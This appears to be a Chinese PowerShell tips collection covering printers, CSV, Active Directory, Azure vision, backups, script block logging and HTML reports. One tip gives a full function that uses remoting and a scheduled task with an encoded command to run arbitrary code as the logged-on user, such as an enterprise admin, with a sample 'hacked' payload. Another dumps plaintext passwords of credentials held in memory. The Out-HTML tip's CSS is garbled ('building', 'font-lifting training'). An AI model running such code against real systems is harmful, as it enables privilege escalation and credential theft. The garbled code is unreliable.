PowerShell 技能连载 - 安装打印机

从 Windows 8 和 Server 2012 R2 起,这些操作系统附带发行了一个名为 PrintManagement 的 PowerShell 模块。该模块中的 cmdlet 可以实现脚本化安装和配置打印机。以下是一段帮助您起步的代码:

1
2
3
4
5
6
7
8
9
10
11
$PrinterName = "MyPrint"
$ShareName = "MyShare"
$DriverName = 'HP Designjet Z Series PS Class Driver'
$portname = "${PrinterName}:"

Add-PrinterDriver -Name $DriverName
Add-PrinterPort -Name $portname
Add-Printer -Name $PrinterName -DriverName $DriverName -PortName $portname -ShareName $ShareName

# requires Admin privileges
# Set-Printer -Name $PrinterName -Shared $true

它从驱动库中安装了一个新的打印机。新的打印机默认没有在网络上共享,因为需要管理员权限。作为管理员,您可以运行 Set-Printer 来启用共享,也可以向 Add-Printer 命令添加 -Shared 开关参数。

要探索 PrintManagement 模块中的其它 cmdlet,请使用这行代码:

1
PS> Get-Command -Module PrintManagement

请注意 Windows 7 中没有包含该模块,而且无法在 Windows 7 中安装,因为 Windows 7 缺少运行该模块中 cmdlet 的某些依赖项。

PowerShell 技能连载 - 通过 CSV 创建对象

有些时候通过简单的基于文本的 CSV 格式来批量创建对象是一种聪明的方法,尤其是原始数据已是基于文本的而且只需要少量重格式化。

以下是一个简单的例子,以这种方式输入信息并创建一个自定义对象的列表:

1
2
3
4
5
6
7
8
9
$text = 'Name,FirstName,Location
Weltner,Tobias,Germany
Nikolic,Aleksandar,Serbia
Snover,Jeffrey,USA
Special,ÄÖÜß,Test'

$objects = $text | ConvertFrom-Csv

$objects | Out-GridView

结果看起来类似这样:

1
2
3
4
5
6
Name    FirstName Location
---- --------- --------
Weltner Tobias Germany
Nikolic Aleksandar Serbia
Snover Jeffrey USA
Special ÄÖÜß Test

PowerShell 技能连载 - 快速查找 Active Directory 组成员

经常地,AD 管理员需要查找某个 AD 组的所有成员,包括嵌套的成员。以下是一个常常出现在示例中的代码片段,用于解决这个问题:

1
2
3
4
5
$groupname = 'External_Consultants'
$group = Get-ADGroup -Identity $groupname
$dn = $group.DistinguishedName
$all = Get-ADUser -filter {memberof -recursivematch $dn}
$all | Out-GridView

(请注意您需要来自 Microsoft 免费的 RSAT 工具来使用这些示例中的 cmdlet。)

当您将 $groupname 中的组名改为您组织中存在的 AD 组名后,该代码不仅返回组中的直接用户,而且包含既在该组又在其它组中的直接用户。

然而,该代码执行起来非常慢。以下是一个更简单的实现,能达到多于五倍的速度:

1
2
3
$groupname = 'External_Consultants'
$all = Get-ADGroupMember -Identity $groupname -Recursive
$all | Out-GridView

它的内部使用合适的 LDAP 过滤器,和以上直接的方法类似:

1
2
3
4
5
6
$groupname = 'External_Consultants'
$group = Get-ADGroup -Identity $groupname
$dn = $group.DistinguishedName
$ldap = "(memberOf:1.2.840.113556.1.4.1941:=$dn)"
$all = Get-ADUser -LDAPFilter $ldap
$all | Out-GridView

PowerShell 技能连载 - 通过 Azure 认知服务使用人工智能

现在的云服务不仅提供虚拟机和存储,而且提供全新且令人兴奋的服务,例如认知服务。如果您需要直接访问这些服务,您需要一个 Azure 订阅密钥(可以在以下网站免费获得)。否则,您也可以使用这里提供的免费的互动 DEMO:
https://azure.microsoft.com/en-us/services/cognitive-services/computer-vision/#analyze

以下是一个发送图片文件到 Azure 图片分析的脚本,您将获得关于照片内容的详细描述,包括面部的坐标、性别,以及估计的年龄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# MAKE SURE YOU SPECIFY YOUR FREE OR PAID AZURE SUBSCRIPTION ID HERE:
$subscription = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"


Add-Type -AssemblyName System.Net.Http
# MAKE SURE YOU SPECIFY A PATH TO A VALID IMAGE ON YOUR COMPUTER
$image = "C:\sadjoey.jpg"
$uriBase = "https://westcentralus.api.cognitive.microsoft.com/vision/v2.0/analyze";
$requestParameters = "visualFeatures=Categories,Tags,Faces,ImageType,Description,Color,Adult"
$uri = $uriBase + "?" + $requestParameters

# get image file as a byte array
$imageData = Get-Content $image -Encoding Byte

# wrap image into byte array content
$content = [System.Net.Http.ByteArrayContent]::new($imageData)
$content.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::new("application/octet-stream")

# get a webclient ready
$webclient = [System.Net.Http.HttpClient]::new()
$webclient.DefaultRequestHeaders.Add("Ocp-Apim-Subscription-Key",$subscription)

# post the request to Azure Cognitive Services
$response = $webclient.PostAsync($uri, $content).Result
$result = $response.Content.ReadAsStringAsync().Result

# convert information from JSON into objects
$data = $result | ConvertFrom-Json

# get image detail information
$data.description.captions
$data.Faces | Out-String
$data.description.Tags

结果类似这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PS C:\> $data.description.captions

text confidence
---- ----------
a man and a woman standing in a room 0,94136500176759652



PS C:\> $data.faces

age gender faceRectangle
--- ------ -------------
23 Female @{top=114; left=229; width=47; height=47}



PS C:\> $data.description.tags
person
indoor
man
holding
woman
standing
window
table
room
front
living
young
video
computer
kitchen
playing
remote
wii
people
white
game

您也可以查看一下通过 Web Service 返回的 JSON 数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$result
{"categories":[{"name":"indoor_","score":0.42578125},{"name":"others_","score":0
.00390625}],"tags":[{"name":"person","confidence":0.999438464641571},{"name":"in
door","confidence":0.99413836002349854},{"name":"wall","confidence":0.9905883073
8067627}],"description":{"tags":["person","indoor","man","holding","woman","stan
ding","window","table","room","front","living","young","video","computer","kitch
en","playing","remote","wii","people","white","game"],"captions":[{"text":"a man
and a woman standing in a room","confidence":0.94136500176759652}]},"faces":[{"
age":23,"gender":"Female","faceRectangle":{"top":114,"left":229,"width":47,"heig
ht":47}}],"adult":{"isAdultContent":false,"adultScore":0.023264557123184204,"isR
acyContent":false,"racyScore":0.042826898396015167},"color":{"dominantColorForeg
round":"Brown","dominantColorBackground":"Black","dominantColors":["Brown","Blac
k","Grey"],"accentColor":"6E432C","isBwImg":false},"imageType":{"clipArtType":0,
"lineDrawingType":0},"requestId":"8aebed85-68eb-4b9f-b6f9-5243cd20e4d7","metadat
a":{"height":306,"width":408,"format":"Jpeg"}}

PowerShell 技能连载 - 将所有脚本备份到 ZIP 中

PowerShell 5 终于支持 ZIP 文件了,所以如果您希望备份所有 PowerShell 脚本到一个 ZIP 文件中,以下是一个单行代码:

1
2
Get-ChildItem -Path $Home -Filter *.ps1 -Recurse -ErrorAction SilentlyContinue |
Compress-Archive -DestinationPath "$home\desktop\backupAllScripts.zip" -CompressionLevel Optimal

请注意在 Windows 10 上,所有文件写入 ZIP 之前都需要通过反病毒引擎。如果您的反病毒引擎检测到一段可疑的代码,可能会产生异常,并且不会生成 ZIP 文件。

PowerShell 技能连载 - 以其他用户身份运行 PowerShell 代码

本地管理员权限十分强大,您需要使用类似 JEA 等技术来尽可能减少本地管理员的数量。为什么?请看以下示例。如果您有某台机器上的本地管理员特权,而且启用了 PowerShell 远程操作,那么您可以发送任意的 PowerShell 代码到那台机器上,并且以登录到那台机器上的用户的上下文执行该代码。

如果一个企业管理员正坐在该机器前,您作为一个本地管理员也可以发送一行 PowerShell 代码,并以企业管理员的身份执行。

在操作之前:请知道自己在做什么。这个示例演示了计划任务和本地管理员权限的技术可能性。这些与 PowerShell 和 PowerShell 远程操作都没有关系。我们只是使用 PowerShell 作为工具。

您可以在没有 PowerShell 和 PowerShell 远程操作的情况下做相同的事情,只是使用纯 cmd 以及 psexec 等工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
function Invoke-PowerShellAsInteractiveUser
{
param(
[Parameter(Mandatory)]
[ScriptBlock]
$ScriptCode,

[Parameter(Mandatory)]
[String[]]
$Computername
)

# this runs on the target computer
$code = {

param($ScriptCode)

# turn PowerShell code into base64 stream
$bytes = [System.Text.Encoding]::Unicode.GetBytes($ScriptCode)
$encodedCommand = [Convert]::ToBase64String($bytes)

# find out who is physically logged on
$os = Get-WmiObject -Class Win32_ComputerSystem
$username = $os.UserName

# define a scheduled task in the interactive user context
# with highest privileges
$xml = @"
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo />
<Triggers />
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings />
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-windowstyle minimized -encodedCommand $EncodedCommand</Arguments>
</Exec>
</Actions>
<Principals>
<Principal id="Author">
<UserId>$username</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
</Task>
"@

# define, run, then delete the scheduled job
$jobname = 'remotejob' + (Get-Random)
$xml | Out-File -FilePath "$env:temp\tj1.xml"
$null = schtasks.exe /CREATE /TN $jobname /XML $env:temp\tj1.xml
Start-Sleep -Seconds 1
$null = schtasks.exe /RUN /TN $jobname
$null = schtasks.exe /DELETE /TN $jobname /F
}

# run the code on the target machine, and submit the PowerShell code to execute
Invoke-Command -ScriptBlock $code -ComputerName $computername -ArgumentList $ScriptCode
}

要将恶意代码发送到另一台机器,例如打开一个可见的浏览器页面,或用这段代码通过文字转语音和用户“聊天”:

1
2
3
4
5
6
7
8
9
10
11
$ComputerName = 'ENTER THE COMPUTER NAME'

$pirateCode = {
Start-Process -FilePath www.microsoft.com

$sapi = New-Object -ComObject Sapi.SpVoice
$sapi.Speak("You are hacked...!")
Start-Sleep -Seconds 6
}

Invoke-PowerShellAsInteractiveUser -ScriptCode $pirateCode -Computername $ComputerName

显然,需要调整 $ComputerName 对应到您拥有本地管理员特权,并且启用了 PowerShell 远程操作系统上。并且,这段代码需要用户物理登录。如果没有物理登录的用户,那么将没有可以进入的用户回话,这段代码将会执行失败。

PowerShell 技能连载 - 强化脚本块日志

默认情况下,脚本块日志数据对所有人都可见,不仅是管理员。当启用了脚本块日志后,所有用户都可以访问日志并读取它的内容。最简单的方式是用这行代码下载工具:

1
2
Install-Module -Name scriptblocklogginganalyzer -Scope CurrentUser
Get-SBLEvent | Out-GridView

有一些方法可以强化脚本块日志,并确保只有管理员才能读取这些日志。请运行以下代码将存取权限改为仅允许管理员存取:

1
2
3
4
5
6
7
8
9
10
11
12
13
#requires -RunAsAdministrator

$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\winevt\Channels\Microsoft-Windows-PowerShell/Operational"
# get the default access permission for the standard security log...
$sddlSecurity = ((wevtutil gl security) -like 'channelAccess*').Split(' ')[-1]
# get the current permissions
$sddlPowerShell = (Get-ItemProperty -Path $Path).ChannelAccess
# make a backup of the current permissions
New-ItemProperty -Path $Path -Name ChannelAccessBackup -Value $sddlPowerShell -ErrorAction Ignore
# apply the hardened permissions
Set-ItemProperty -Path $Path -Name ChannelAccess -Value $sddlSecurity
# restart service to take effect
Restart-Service -Name EventLog -Force

现在,当一个普通用户尝试读取脚本块日志的记录时,什么信息也不会返回。

PowerShell 技能连载 - 启用脚本块日志

在前一个技能中,我们深入了解了 PowerShell 5 脚本块日志的工作方式:简而言之,启用了以后,机器上运行的所有 PowerShell 代码在机器上的执行过程都将记录日志,这样您可以浏览源代码并查看机器上运行了什么 PowerShell 代码。

我们将它封装为一个免费的 PowerShell 模块,可以从 PowerShell Gallery 上下载,所以要启用脚本块日志,您只需要一个以管理员特权运行的 PowerShell 5.x 控制台,以及以下代码:

1
2
3
Install-Module -Name scriptblocklogginganalyzer -Scope CurrentUser
Set-SBLLogSize -MaxSizeMB 1000
Enable-SBL

一旦启用了脚本块日志,您可以转储日志并且像这样查看记录的脚本代码:

1
Get-SBLEvent | Out-GridView

PowerShell 技能连载 - 查找内存中的密码

有些脚本执行后可能会留下敏感信息。这可能是偶然发生,当使用全局作用域,或是用户通过 “dot-sourced” 调用函数和命令。其中一些变量可能包含对于黑客十分感兴趣的数据,比如用户名和密码。

以下是一个快速的测试,检查内存中的所有变量并查找凭据,然后返回变量和用户名,以及明文形式的密码:

1
2
3
4
5
6
7
8
9
Get-Variable |
Where-Object Value -is [System.Management.Automation.PSCredential] |
ForEach-Object {
[PSCustomObject]@{
Variable = '$' + $_.Name
User = $_.Value.UserName
Password = $_.Value.GetNetworkCredential().Password
}
}

要测试执行,请使用凭据创建一个变量:

1
2
3
PS> $test = Get-Credential
cmdlet Get-Credential at command pipeline position 1
Supply values for the following parameters:

然后,运行以上代码在内存中查找变量。

如果您想最小化风险,请确使用 Remove-Variable 命令手工保移除了所有变量。通常情况下,您可以信任自动垃圾收集,但是当包含敏感数据是,攻击者可能会使用多种方法防止变量被自动回收。当您人工移除后,就安全了。

PowerShell 技能连载 - 将数据输出为 HTML 报告

以下是一个超级简单和有用的 PowerShell 函数,名为 Out-HTML

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function Out-HTML
{

param
(

[String]
$Path = "$env:temp\report$(Get-Date -format yyyy-MM-dd-HH-mm-ss).html",

[String]
$Title = "PowerShell Output",

[Switch]
$Open
)

$headContent = @"
<title>$Title</title>
<style>
building { background-color:#EEEEEE; }
building, table, td, th { font-family: Consolas; color:Black; Font-Size:10pt; padding:15px;}
th { font-lifting training:bold; background-color:#AAFFAA; text-align:left; }
td { font-color:#EEFFEE; }
</style>
"@

$input |
ConvertTo-Html -Head $headContent |
Set-Content -Path $Path


if ($Open)
{
Invoke-Item -Path $Path
}
}

您所需要的只是用管道将数据输出到 Out-HTML 命令来生成一个简单的 HTML 报告。请试试这段:

1
2
3
PS C:\> Get-Service | Out-HTML -Open

PS C:\> Get-Process | Select-Object -Property Name, Id, Company, Description | Out-HTML -Open